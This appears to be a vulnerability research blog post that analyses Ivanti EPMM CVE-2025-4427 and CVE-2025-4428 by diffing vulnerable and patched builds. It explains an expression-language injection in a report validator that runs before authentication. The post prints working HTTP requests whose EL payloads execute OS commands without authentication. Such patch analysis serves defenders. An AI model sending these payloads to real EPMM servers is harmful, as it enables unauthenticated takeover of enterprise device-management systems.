Expression Payloads Meet Mayhem - Ivanti EPMM Unauth RCE Chain (CVE-2025-4427 and CVE-2025-4428)

Expression Payloads Meet Mayhem - Ivanti EPMM Unauth RCE Chain (CVE-2025-4427 and CVE-2025-4428)

Keeping your ears to the ground and eyes wide open for the latest vulnerability news at watchTowr is a given. Despite rummaging through enterprise code looking for 0days on a daily basis, our interest was piqued this week when news of fresh vulnerabilities was announced in a close friend - Ivanti, and their Endpoint Manager Mobile (Ivanti EPMM) solution.

For those out of the loop, don’t worry - as always, we’re here to fill you in.

Ivanti Endpoint Manager Mobile (EPMM) is an MDM solution for system administrators to install and manage devices within an organization. It hopes to prevent you from installing malware or enjoying your life by watching YouTube during any permitted and sanctioned downtime.

Why Is This Important?

Well, short of their intended functionality, MDM solutions are, in a sense, C2 frameworks for enterprises… allowing system administrators to manage software on their devices.

Picture this: You’ve compromised the MDM solution at one of the largest banks and are able to deploy malicious software at scale to employee devices.

And it's Friday!

It sounds farfetched to compromise such a hardened enterprise security appliance, but history has shown that attackers are specifically targeting them.

In 2023, several similar vulnerabilities emerged that were being actively exploited in the wild for Ivanti EPMM. Specifically, CVE-2023-35078 and CVE-2023-35082, where attackers were able to access restricted APIs in EPMM without authentication.

Unfortunately, per public reporting, these vulnerabilities were used to access and compromise parts of the Norwegian government and others.

Move On watchTowr, What's Going On Today?

Alright, alright - we're getting there.

In this week's episode of "advisories issued by Ivanti" - https://forums.ivanti.com/s/article/Security-Advisory-Ivanti-Endpoint-Manager-Mobile-EPMM?language=en_US, we see that two vulnerabilities have been detailed:

CVE Number Description CVSS Score (Severity) CVSS Vector CWE
CVE-2025-4427 An authentication bypass in Ivanti Endpoint Manager Mobile allowing attackers to access protected resources without proper credentials. 5.3 (Medium) CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N CWE-288
CVE-2025-4428 A remote code execution vulnerability in Ivanti Endpoint Manager Mobile allowing attackers to execute arbitrary code on the target system 7.2 (High) CVSS:3.0/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H CWE-94

To give more context as to why these are of such importance, Ivanti has provided the following commentary:

When chained together, successful exploitation could lead to unauthenticated remote code execution.…We are aware of a very limited number of customers who have been exploited at the time of disclosure.

Yikes. Vague, mysterious comments - but with all the big words that make you wonder if the CVSS scores of 5.3 and 7.2 are really a leading indicator of pain.

As always, in all vendor advisories, there's quite a bit to unpack - but a few interesting points stood out to us:

  • Combined, this is vulnerability chain for Pre-Authenticated Remote Code Execution.
  • These vulnerabilities are under active exploitation against a very limited number of targets (This tells us it's highly targeted, someone really wanted in - or Ivanti have limited data).

What we know though for sure is - once 'highly targeted' operations get publicised, we've seen attackers just mass pwn everything on the Internet to obtain any remaining value.

The last point worth highlighting is a statement released by Ivanti in their Q&A section of the advisory:

What code is affected? Is it Ivanti’s code?
No. The vulnerabilities are associated with two open-source libraries integrated into EPMM. The use of open-source code is standard practice used by all major technology companies.

Hm..

For avoidance of doubt, the following versions of Ivanti EPMM are patched:

  • 11.12.0.5
  • 12.3.0.2
  • 12.4.0.2
  • 12.5.0.1

Move On watchTowr, Just Reverse It

For the purposes of clarity in our efforts to diff a vulnerable and a patched instance, we deployed and compared two versions of Ivanti Endpoint Manager Mobile (EPMM):

  • Vulnerable - 12.5.0.0-48
  • Patched - - 12.5.0.1-13

As always with EPMM, we see many exposed interfaces but specifically as always the web interface exposed on 443/TCP - supported by Tomcat to provide a Java application - with the main application residing in /mi/tomcat/webapps/mifs/.

CVE-2025-4428: Post-Authenticated Remote Code Execution

Given the minimal differences between the codebases, the possibility of uncovering the Authentication Bypass initially seemed quite remote.

So, we decided to begin our analysis with the Post-authenticated Remote Code Execution vulnerability (CVE-2025-4428).

Our thinking was that if we could first identify the vulnerable endpoint, it might naturally lead us to insights that would help uncover the Authentication Bypass (CVE-2025-4427).

Looking back at the Ivanti statement within their advisory, we had a suspicion - are we looking for an 0day in a 3rd party library, used post-auth only and under CWE-94 - Improper Control of Generation of Code ('Code Injection')?

Well, starting with this suspicion that we do somehow need to identify an 0day in a 3rd party library, let’s try to see what libraries have been swapped within the mifs.war between our two versions:

After a brief review, we can see that Ivanti had amended and upgraded the hibernate-validator library. This kind of makes sense, when you look at the diff of both vulnerable and patched versions:

We can see that both ScepSubjectValidator and DeviceFeatureUsageReportQueryRequestValidator classes had been modified.

The Validator in both names suggests that we may be, in fact, dealing with the hibernate-validator library and its infamous ConstraintValidatorContext  functionality.

Let us quote Alvaro Munoz:

The ConstraintValidatorContext documentation specifies that developers should be very careful when integrating user input into a custom message template as it will be interpreted by the Expression Language engine, which may allow attackers to run arbitrary Java code.

The CWE suggests that we are dealing with a Code Injection, and now with the context of the references to hibernate-validator (where validators may allow us to execute Java Expression Language), this is beginning to sound like a rabbit hole worth our time.

First of all, let's focus on DeviceFeatureUsageReportQueryRequestValidator , and specifically the unpatched code:

implements ConstraintValidator<ValidDeviceFeatureUsageReportQueryRequest, DeviceFeatureUsageReportQueryRequest>
{  
  @Autowired
  private LocalizedMessageBuilder localizedMessageBuilder;
  
  public void initialize(ValidDeviceFeatureUsageReportQueryRequest constraintAnnotation) {}
  
  public boolean isValid(DeviceFeatureUsageReportQueryRequest value, ConstraintValidatorContext context) {
    String format = value.getFormat(); // [1]
    if (format == null) {
      return true;
    }
    
    boolean isValid = (format.equalsIgnoreCase("json") || format.equalsIgnoreCase("csv")); // [2]
    if (!isValid) {
      String formatMessage = this.localizedMessageBuilder.getLocalizedMessage((MessageCode)MessageKeys.DEVICE_FEATURE_USAGE_INVALID_FORMAT, new Object[] { format }); // [3]
      
      context.disableDefaultConstraintViolation();
      context.buildConstraintViolationWithTemplate(formatMessage).addConstraintViolation();
    } 
    
    return isValid;
  }
}
  • At [1], it retrieves the format parameter from the user-controlled data.
  • At [2], it checks if the format parameter is equal to json or csv.
  • If not, it will include our format string in the error message that will be generated at [3].

Now, let’s have a look at the patched version:

implements ConstraintValidator<ValidDeviceFeatureUsageReportQueryRequest, DeviceFeatureUsageReportQueryRequest>
{
  @Autowired
  private LocalizedMessageBuilder localizedMessageBuilder;
  
  public void initialize(ValidDeviceFeatureUsageReportQueryRequest constraintAnnotation) {}
  
  public boolean isValid(DeviceFeatureUsageReportQueryRequest value, ConstraintValidatorContext context) {
    String format = value.getFormat();
    if (format == null) {
      return true;
    }
    
    boolean isValid = (format.equalsIgnoreCase("json") || format.equalsIgnoreCase("csv"));
    if (!isValid) {
      String formatMessage = this.localizedMessageBuilder.getLocalizedMessage((MessageCode)MessageKeys.DEVICE_FEATURE_USAGE_INVALID_FORMAT, new Object[] { "" }); // [1]
      
      context.disableDefaultConstraintViolation();
      context.buildConstraintViolationWithTemplate(formatMessage).addConstraintViolation();
    } 
    
    return isValid;
  }
}

Have a look at [1] - our format value is no longer reflected in the error message!

Put very simply - in our unpatched version, attacker/user input will be passed into localizedMessageBuilder.getLocalizedMessage , whereas there’s no attacker-controlled input is passed into said method in the patched version.

Okay, so we have a clue on where to continue - and we need to track down this localizedMessageBuilder.getLocalizedMessage method.

As a spoiler, it's implemented in Ivanti's com.mobileiron.vsp.rest.domain.LocalizedMessageBuilder class:

public class LocalizedMessageBuilder {
    @Autowired
    protected MessageSource apiMessageSource;

    public String getLocalizedMessage(MessageCode messageCode, Object... messageParameters) {
        return this.localize(messageCode.getMessageKey(), messageParameters); 
    }

    private String localize(String messageKey, Object... messageParameters) {
        return this.apiMessageSource == null ? messageKey : this.apiMessageSource.getMessage(messageKey, messageParameters, (Locale)null); // [1]
    }
    //...
}

At [1], this class calls MessageSource.getMessage .

Good news though - we fully control the second argument: messageParameters. It’s an array of objects, and the first object will be equal to our string!

Now, if we track down the messageKey for our scenario, we will see the following:

@Localize(
      value = "Format ''{0}'' is invalid. Valid formats are ''json'', ''csv''.",
      key = "com.mobileiron.vsp.messages.device.feature.usage.report.invalid.format"
   )

This is clearly getting interesting!

MessageSource is com.mobileiron.api.messages.ApiMessageSource, which seems to extend Spring Framework AbstractMessageSource!

For those following this quickly vomited blogpost at home, it may all feel quite complex as of now - but let's sum it up simply:

  1. We have the Ivanti DeviceFeatureUsageReportQueryRequestValidator validator.
  2. Which allows us to reach the Spring AbstractMessageSource.getMessage method.
  3. The error message string directly includes the attacker-controlled string through {0} syntax.
  4. Our string is passed through AbstractMessageSource.getMessage second argument: Object[] args.

Given our experience here, we're likely deaing with something that may be vulnerable to Expression Language Injection!

Depending on the configuration and stars alignment, there’s a chance that the EL expression included in the attacker-controlled string (format parameter) will be evaluated.

As always, we don't have much time when rapidly reacting to our client base to determine their exposure, so we decided to try this idea out through a simple experiment.

First of all, we need to identify where the DeviceFeatureUsageReportQueryRequestValidator is being used.

We quickly tracked it down to the DeviceFeatureUsageReportController and the following sample API method:

@PreAuthorize("hasPermissionForSpace(#adminDeviceSpaceId, {'PERM_FEATURE_USAGE_DATA_VIEW'})")
@RequestMapping(method = {RequestMethod.GET}, value = {"/api/v2/featureusage"})
@ResponseBody
@ApiOperation(value = "Download Device Feature Usage Report", notes = "Download Device Feature Usage Report", tags = {"DeviceFeatureUsage: All device feature usage related API"})
@ApiResponses({@ApiResponse(code = 500, message = "Internal Server Error")})
@PublicApi
public Response downloadDeviceFeatureUsageReport(@Valid @ModelAttribute DeviceFeatureUsageReportQueryRequest queryRequest, @RequestParam(defaultValue = "0") int adminDeviceSpaceId, @ApiIgnore Locale locale, @ApiIgnore HttpServletResponse httpServletResponse) throws IOException {
  Response response = setResponseSuccess(httpServletResponse, locale);
  
  try {
    this.deviceFeatureUsageReportService.downloadDeviceFeatureUsageReport(getCurrentUserName(), queryRequest, httpServletResponse);
  } catch (ResultNotFoundException e) {
    MessageKeys messageKeys; httpServletResponse.setStatus(HttpStatus.NOT_FOUND.value());
    
    if (StringUtils.isNotBlank(queryRequest.getDatafile())) {
      messageKeys = MessageKeys.DEVICE_FEATURE_USAGE_DATAFILE_NOT_FOUND;
    } else {
      messageKeys = MessageKeys.DEVICE_FEATURE_USAGE_NOT_FOUND;
    } 
    setErrorResponse((MessageCode)messageKeys, locale, HttpStatus.NOT_FOUND, response, httpServletResponse);
  } 
  return response;
}

Then, we can confirm that the DeviceFeatureUsageReportQueryRequest contains the format parameter:

public class DeviceFeatureUsageReportQueryRequest extends QueryRequestWithPagination {
  public static final SortOrder DEFAULT_SORT_ORDER = SortOrder.DESC;
  
  public static final String DEFAULT_SORT_COLUMN_NAME = "job_fired_at";
  private String format = "json";

  
  private String datafile;

  
  public DeviceFeatureUsageReportQueryRequest() {
    this.sortOrder = SortOrder.DESC;
  }
  
  public String getFormat() {
    return this.format;
  }
  //...
}

Finally, let’s try to inject some code through Java EL via basic HTTP requests. As we haven't yet determined the Authentication Bypass vulnerability, these tests are performed while authenticated as an Ivanti EPMM administrator.

Specifically, we send this request below - that attempts to evaluate the multiplication of 7*7 - if vulnerable, we should see the number '49' after the word 'watchTowr'.

GET /mifs/admin/rest/api/v2/featureusage?format=watchTowr%24%7b7*7%7d HTTP/1.1
Host: 192.168.111.148
Cookie: ...

This provide the following response:

{"messages":[{"type":"Error","messageKey":"com.mobileiron.vsp.messages.validation.global.error","localizedMessage":"Format 'watchTowr49' is invalid. Valid formats are 'json', 'csv'.","messageParameters":["Format 'watchTowr49' is invalid. Valid formats are 'json', 'csv'."]}]}

Boom! The response body including the string watchTowr49 shows that our multiplication was executed, and we are indeed dealing with the EL injection!

Let’s also confirm it with our debugger:

As always, we scratched our head - good progress, but what is going on?

Ivanti mentioned a 0day in a 3rd party library - perhaps, we thought, maybe there are "fancy" protections in place to protect against dangerous EL payloads that can be bypassed, due to a supposed 0day in the hibernate-validator?

Before we begin overthinking things, we just.. decided to try a simple and typical payload for this class of vulnerability:

${"".getClass().forName('java.lang.Runtime').getMethod('getRuntime').invoke(null).exec('touch /tmp/poc')}

HTTP request (still auth'd as our Ivanti EPMM administrator):

GET /mifs/admin/rest/api/v2/featureusage?format=<@urlencode>${"".getClass().forName('java.lang.Runtime').getMethod('getRuntime').invoke(null).exec('touch /tmp/poc')}</@urlencode> HTTP/1.1
Host: 192.168.111.148
Cookie: ...

Looking at the file system, aaaand:

Oh, okay. Maybe, once again, we were over thinking things?

Our command got successfully executed (as demonstrated by the created file), and we didn’t have to leverage any fancy 0days in hibernate-validator , Spring or any other included library.

Our current analysis shows that Ivanti EPMM passes an attacker-controlled array of objects to the AbstractMessageSource.getMessage (As we've demonstrated, we control the first object, which is a string). Subsequently, the error message shown dynamically includes this argument, which leads to the EL evaluation vulnerability we've just demonstrated..

CVE-2025-4427 - Authentication Bypass

Having demonstrated and reproduced the Post Authenticated Remote Code Execution (CVE-2025-4428) vulnerability, it was time to focus on reproducing the other vulnerability in this already in-the-wild exploited vulnerability chain - the Authentication Bypass, that we affectionately call CVE-2025-4427.

Our objective is now simple: somehow, we need to hit the /api/v2/featureusage_history endpoint (used in CVE-2025-4428) without authentication.

Looking back at our differentials between the patched and vulnerable versions of Ivanti EPMM mentioned above - one thing that stood out very clearly, within routing data in the security.xml file.

In a Spring application's security.xml file, routes are secured using <intercept-url> elements that specify URL patterns and required authorization levels.

These Ant-style patterns (like /admin/**) are processed in order, allowing different security levels for various application areas - from public access paths to role-restricted sections requiring specific permissions like "USER" or "ADMIN".

On first glance, we can observe that quite a large change has been made to the route /rs/api/v2/** in the patched version of Ivanti's EPMM:

Vulnerable version:

 <sec:http pattern="/rs/api/v2/**" create-session="stateless" use-expressions="false" disable-url-rewriting="false" authentication-manager-ref="authenticationManager">

Patched version:

 <sec:http pattern="/rs/api/v2/**" create-session="stateless" disable-url-rewriting="false" authentication-manager-ref="authenticationManager">
    <sec:intercept-url pattern="/rs/api/v2/Enrollment/RegMode.enroll" access="permitAll"/> <!-- Protected by MIMutualAuthEnrollmentFilter -->
    <sec:intercept-url pattern="/rs/api/v2/Enrollment/CertReq.enroll" access="permitAll"/> <!-- Protected by MIMutualAuthEnrollmentFilter -->
    <sec:intercept-url pattern="/rs/api/v2/Enrollment/enroll-capabilities" access="permitAll"/> <!-- Initial enrollment capabilities request -->
    <sec:intercept-url pattern="/rs/api/v2/Enrollment/cert-mode/migrate" access="permitAll"/> <!-- Protected by MIClientCookieAuthFilter -->
    <sec:intercept-url pattern="/rs/api/v2/Enrollment/cert-mode/enroll" access="permitAll"/> <!-- Protected by password validation inside EnrollmentService.registerDevice -->
    <sec:intercept-url pattern="/rs/api/v2/Enrollment/cert-mode/renewExpiredCert" access="permitAll"/> <!-- Protected by MIClientCookieAuthFilter -->
    <sec:intercept-url pattern="/rs/api/v2/ma/azurejoinstatus" access="permitAll"/> <!-- protected by MIClientCookieAuthFilter -->
    <sec:intercept-url pattern="/rs/api/v2/azurejoinstatus" access="permitAll"/> <!-- protected by MIClientCookieAuthFilter -->
    <sec:intercept-url pattern="/rs/api/v2/appstore/apps/**/download" access="permitAll"/> <!-- protected by JWT token validation -->
    <sec:intercept-url pattern="/rs/api/v2/component/macos/script/result" access="permitAll"/> <!-- protected by MIProtocolAuthenticationFilter for CBA -->
    <sec:intercept-url pattern="/rs/api/v2/device/registration" access="permitAll"/> <!-- Initial Login prompt for Windows registration -->
    <sec:intercept-url pattern="/rs/api/v2/tos/reg/**" access="permitAll"/> <!-- Protected by token validation inside controller method -->
    <sec:intercept-url pattern="/**" access="isAuthenticated()"/>

Looking at this change, we can extrapolate a few things:

  • Individual endpoints are now defined to allow anonymous users via permitAll
  • All endpoints are checked for authentication via isAuthenticated

This lines up with the idea that potentially the RCE endpoint we’ve discovered previously can somehow be reached pre-authenticated, and it's related to the prefix /rs/api/v2/.

At this point, it would be disingenuous to state that we hadn't tried just... accessing the endpoint without authentication...

GET /mifs/rs/api/v2/featureusage?format=$%7b8*8%7d HTTP/1.1
Host: Hostname
{"messages":[{"type":"Error","messageKey":"com.mobileiron.vsp.messages.validation.global.error","localizedMessage":"Format '64' is invalid. Valid formats are 'json', 'csv'.","messageParameters":["Format '64' is invalid. Valid formats are 'json', 'csv'."]}]}

Sigh. "Authentication Bypass" zzzzzz.

Just like that, we've seemingly replicated CVE-2025-4427 - but as always, we cant't help but wonder about t why this vulnerability works this way.

Specifically, if we remove the format parameter from the same request, the vulnerable Ivanti EPMM appliance responds with an HTTP status code 401 unauthorized

{"messages":[{"type":"Error","messageKey":"com.mobileiron.vsp.messages.http.401","localizedMessage":"Unauthorized"}]}

Using our debugger, we stuck a breakpoint at the moment the template is evaluated in DeviceFeatureUsageReportQueryRequestValidator.class:

context.buildConstraintViolationWithTemplate(formatMessage).addConstraintViolation();

Looking through the stack above, we can see that the validators are processed before the sink of the spring controller is reached.

Meaning that, in our opinion, there isn't really an "Authentication Bypass" - what we're looking at is actually an order of operations vulnerability. We confirmed this by break-pointing the controller, where we observed no execution from a pre-authenticated perspective.

Many Words, Little Time - Just Show It

Now that we’ve reproduced both the "Authentication Bypass" (CVE-2025-4427) and the Remote Code Execution (CVE-2025-4428), as always it’s time to pull them together.

Whilst the output of the command is not apparent in the response, we can demonstrate in the below HTTP request and response that we can supply a payload that executes the command id :

GET /mifs/rs/api/v2/featureusage?format=<@urlencode>${"".getClass().forName('java.lang.Runtime').getMethod('getRuntime').invoke(null).exec('id')}</@urlencode> HTTP/1.1
Host: {{Hostname}}
HTTP/1.1 400 
Date: Thu, 15 May 2025 14:09:20 GMT
Server: server
X-XSS-Protection: 1; mode=block
Referrer-Policy: strict-origin-when-cross-origin
X-Frame-Options: SameOrigin
X-Content-Type-Options: nosniff
Expires: Mon, 05 May 2025 14:09:20 GMT
Pragma: no-cache
Cache-control: no-cache, no-store, must-revalidate
Strict-Transport-Security: max-age=31536000 ; includeSubDomains
Content-Type: application/json;charset=UTF-8
Content-Length: 341
Connection: close

{"messages":[{"type":"Error","messageKey":"com.mobileiron.vsp.messages.validation.global.error","localizedMessage":"Format 'Process[pid=26803, exitValue=\\"not exited\\"]' is invalid. Valid formats are 'json', 'csv'.","messageParameters":["Format 'Process[pid=26803, exitValue=\\"not exited\\"]' is invalid. Valid formats are 'json', 'csv'."]}]}

As with all our research, we understand the need to help our brothers in arms (Incident Responders, SOCs, CERTs) - especially when there's in-the-wild exploitation.

So, we hope the following Detection Artifact Generator on Github is helpful.

Some Questions For The Reader

  1. Is this really an Authentication Bypass or, an Order of Operations vulnerability?
  2. Is this really a vulnerability in a third-party library, or incorrect and dangerous usage of known-scary functions?

At watchTowr, we passionately believe that continuous security testing is the future and that rapid reaction to emerging threats single-handedly prevents inevitable breaches.

With the watchTowr Platform, we deliver this capability to our clients every single day - it is our job to understand how emerging threats, vulnerabilities, and TTPs could impact their organizations, with precision.

If you'd like to learn more about the watchTowr Platform, our Attack Surface Management and Continuous Automated Red Teaming solution, please get in touch.

Gain early access to our research, and understand your exposure, with the watchTowr Platform

REQUEST A DEMO